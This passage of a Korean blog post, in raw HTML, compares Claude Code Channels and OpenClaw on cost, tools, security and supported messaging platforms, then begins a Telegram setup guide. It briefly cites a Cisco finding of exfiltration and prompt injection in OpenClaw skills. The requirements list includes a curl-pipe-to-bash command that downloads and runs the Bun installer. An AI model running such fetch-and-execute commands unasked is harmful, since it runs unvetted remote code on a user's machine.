&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;없음 (아웃바운드 연결만)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;서버 설정에 따라 다름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;제공자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 공식&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;커뮤니티 오픈소스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;필요 구독&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Pro/Max (claude.ai 로그인 필수)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;각 LLM의 API 키&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;비용 참고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Channels:&lt;/b&gt; Claude Pro($20/월) 또는 Max($100~200/월, 5x/20x 티어) 구독이 필요하다. 추가 서버 비용은 없지만, 구독료가 고정 비용으로 발생한다.&lt;br /&gt;&lt;b&gt;OpenClaw:&lt;/b&gt; 소프트웨어 자체는 무료 오픈소스다. 다만 사용하려는 LLM의 API 키 비용(사용량 기반)과, 24시간 운영 시 서버 호스팅 비용(EC2/VPS 등)이 별도로 발생한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Channels 플러그인이 Claude에게 제공하는 도구&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;텔레그램과 디스코드 플러그인이 Claude에게 노출하는 도구가 다르다. 디스코드가 더 풍부하다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 25%;&quot;&gt;도구&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600; width: 15%;&quot;&gt;Telegram&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600; width: 15%;&quot;&gt;Discord&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 45%;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;reply&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;메시지 전송. 파일 첨부 가능 (Telegram 50MB, Discord 25MB &amp;mdash; 각 플랫폼 Bot API 제한 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;react&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;이모지 리액션 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;edit_message&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;봇이 보낸 메시지 수정 (&quot;작업 중...&quot; &amp;rarr; 결과)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;fetch_messages&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;최근 메시지 히스토리 조회 (최대 100건)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;download_attachment&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;v&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;첨부 파일 다운로드 &amp;rarr; &lt;code&gt;~/.claude/channels/discord/inbox/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;차이점 : Telegram Bot API는 메시지 히스토리와 검색을 제공하지 않는다. 디스코드는 &lt;code&gt;fetch_messages&lt;/code&gt;로 과거 메시지를 조회할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://github.com/anthropics/claude-plugins-official&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude-plugins-official GitHub README&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;한 줄 요약&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels는 &lt;b&gt;&quot;내 PC에서 실행 중인 Claude Code를 원격 제어&quot;&lt;/b&gt;하는 것이고, OpenClaw는 &lt;b&gt;&quot;클라우드 서버의 AI 에이전트를 메시징으로 제어&quot;&lt;/b&gt;하는 것이다. 근본적으로 다른 접근이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: 보안 비교 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 보안 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;보안은 이 두 가지를 비교할 때 가장 큰 차이가 나는 영역이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Channels: Pairing Code + Allowlist + Localhost&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels는 보안을 여러 단계로 나눠 적용한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Pairing Code 인증:&lt;/b&gt; 텔레그램/디스코드에서 봇에게 메시지를 보내면 페어링 코드가 발급된다. 이 코드를 Claude Code에 입력해야 연결이 완료된다. 봇은 페어링된 유저 ID의 메시지만 처리하고, 같은 디스코드 서버의 다른 사용자 메시지는 무시한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Allowlist 기반 플러그인:&lt;/b&gt; 리서치 프리뷰 기간에는 Anthropic이 승인한 플러그인만 사용 가능하다. 커스텀 채널은 &lt;code&gt;--dangerously-load-development-channels&lt;/code&gt; 플래그가 필요하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Localhost 전용:&lt;/b&gt; 인바운드 포트가 없다. 모든 통신은 로컬 플러그인에서 외부 API로의 아웃바운드 연결이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Sender Allowlist 기반 발신자 검증:&lt;/b&gt; 비인가 사용자의 메시지 전송을 차단하는 발신자 허용 목록(allowlist) 메커니즘이 내장되어 있다. (단, 인가된 사용자의 메시지 내 프롬프트 인젝션까지 방지하지는 않는다.)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Permission Relay:&lt;/b&gt; 도구 사용 승인을 원격 채널로 전달하여, 텔레그램에서 파일 쓰기/명령 실행을 승인/거부할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code Docs&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenClaw: 자유도 높지만 보안은 직접 관리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenClaw는 커뮤니티 오픈소스답게 자유도가 높지만, 보안 사고도 발생했다:&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Cisco AI 보안팀 발견&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Cisco의 AI 보안 연구팀이 서드파티 OpenClaw 스킬을 테스트한 결과, &lt;b&gt;사용자 모르게 데이터 유출(data exfiltration)과 프롬프트 인젝션&lt;/b&gt;이 수행되는 것을 발견했다. &lt;br /&gt;이는 서드파티 스킬 생태계의 검증 체계가 상대적으로 느슨한 점이 한 원인으로 보인다. Cisco 보고서 자체는 OpenClaw 스킬의 취약점에 초점을 맞추고 있으며, 다른 플랫폼과의 직접 비교는 포함하지 않았다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 문제에 대응하여 &lt;b&gt;secure-openclaw&lt;/b&gt; (ComposioHQ) 같은 보안 강화 포크가 등장했다. 하지만 근본적으로 &quot;취미 프로젝트에서 동작하는 것&quot;과 &quot;엔터프라이즈 보안 리뷰를 통과하는 것&quot;의 차이는 아키텍처 설계 레벨에서 발생한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보안 비교표&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 25%;&quot;&gt;보안 항목&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 37.5%;&quot;&gt;Channels&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 37.5%;&quot;&gt;OpenClaw&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;인증&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Pairing Code + 유저 ID 잠금&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;User ID 기반 인증 지원. 추가로 API 키, OAuth 등 다양한 방식 설정 가능 (직접 관리)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;플러그인/스킬 검증&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 공식 Allowlist (리서치 프리뷰 기간)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;커뮤니티 기반. Cisco Skill Scanner 등 서드파티 검증 도구가 등장했으나, 공식 검증 체계는 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;네트워크 노출&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;인바운드 포트 없음 (localhost만)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;서버 포트 노출 가능. 리버스 프록시 + 방화벽으로 완화 가능하나 설정은 사용자 몫&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프롬프트 인젝션 대응&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Sender allowlist 기반 발신자 검증 내장&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;기본 내장 기능은 없으나, Cisco Skill Scanner 등 외부 도구로 스킬 사전 검사 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;보안 업데이트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 공식 업데이트&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;커뮤니티 주도 (CVE 패치는 비교적 빠르게 대응 &amp;mdash; CVE-2026-25253은 며칠 내 패치됨)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;권한 제어&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Permission Relay (원격 승인/거부)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;역할 기반 권한 설정 가능. 세밀도는 설정에 따라 다름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;엔터프라이즈&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Team/Enterprise 관리자 제어 가능&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;공식 엔터프라이즈 지원 없음. NVIDIA NemoClaw 등 서드파티 엔터프라이즈 래퍼 존재&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: 지원 플랫폼 비교 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 지원 플랫폼 비교(현 시점 3월 24일 기준)&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 40%;&quot;&gt;플랫폼&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600; width: 30%;&quot;&gt;Channels&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600; width: 30%;&quot;&gt;OpenClaw&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Telegram&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Discord&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;WhatsApp&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Slack&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&amp;nbsp;(별도 Slack 연동 존재)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Signal&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;iMessage&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Microsoft Teams&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Google Chat&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Matrix&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Fakechat (로컬 테스트)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;커스텀 채널/Webhook&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O (MCP 서버로 직접 구축)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O (스킬/플러그인)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;플랫폼 수만 보면 OpenClaw가 압도적&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;하지만 Channels는 &lt;b&gt;플러그인 아키텍처&lt;/b&gt;로 설계되어 있어 구조적으로 확장 가능하다. &lt;br /&gt;단, 리서치 프리뷰 기간에는 &lt;code&gt;--channels&lt;/code&gt; 플래그가 &lt;b&gt;Anthropic이 관리하는 허용 목록의 공식 플러그인(Telegram, Discord, Fakechat)만 수락&lt;/b&gt;한다. 직접 만든 커스텀 채널은 &lt;code&gt;--dangerously-load-development-channels&lt;/code&gt; 플래그로만 테스트 가능하다. 참고로 &lt;b&gt;카카오톡은 두 도구 모두 공식적으로 미지원&lt;/b&gt;이다. (computer use 등을 활용해서 보낼순 있겠지만 .. )&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: Channels 셋업 가이드 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Channels 셋업 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;요구사항&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;필수 조건&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Claude Code v2.1.80&lt;/b&gt; 이상&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;claude.ai 로그인&lt;/b&gt; 필수 (API 키 인증은 지원하지 않음)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Bun 런타임&lt;/b&gt; 설치 (프리빌트 플러그인이 Bun 기반, 커스텀 채널은 Node/Deno도 가능) &amp;mdash; 미설치 시: &lt;code&gt;curl -fsSL https://bun.sh/install | bash&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Pro 또는 Max 구독&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Team/Enterprise는 관리자가 &lt;code&gt;channelsEnabled&lt;/code&gt;를 명시적으로 활성화해야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code Docs&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Telegram 설정&lt;/h3&gt;
&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Telegram 앱 열기 (모바일/데스크톱 모두 가능)&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 30px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;darr;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;상단 검색창에&lt;span&gt;&amp;nbsp;&lt;/span&gt;@BotFather&lt;span&gt;&amp;nbsp;&lt;/span&gt;검색 &amp;rarr; 클릭해서 채팅 시작&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;327&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btPvXW/dJMcacaTaU0/uJIyDCzKmGDkOKIapxnYHK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btPvXW/dJMcacaTaU0/uJIyDCzKmGDkOKIapxnYHK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btPvXW/dJMcacaTaU0/uJIyDCzKmGDkOKIapxnYHK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtPvXW%2FdJMcacaTaU0%2FuJIyDCzKmGDkOKIapxnYHK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;445&quot; height=&quot;327&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;327&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;position: absolute;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
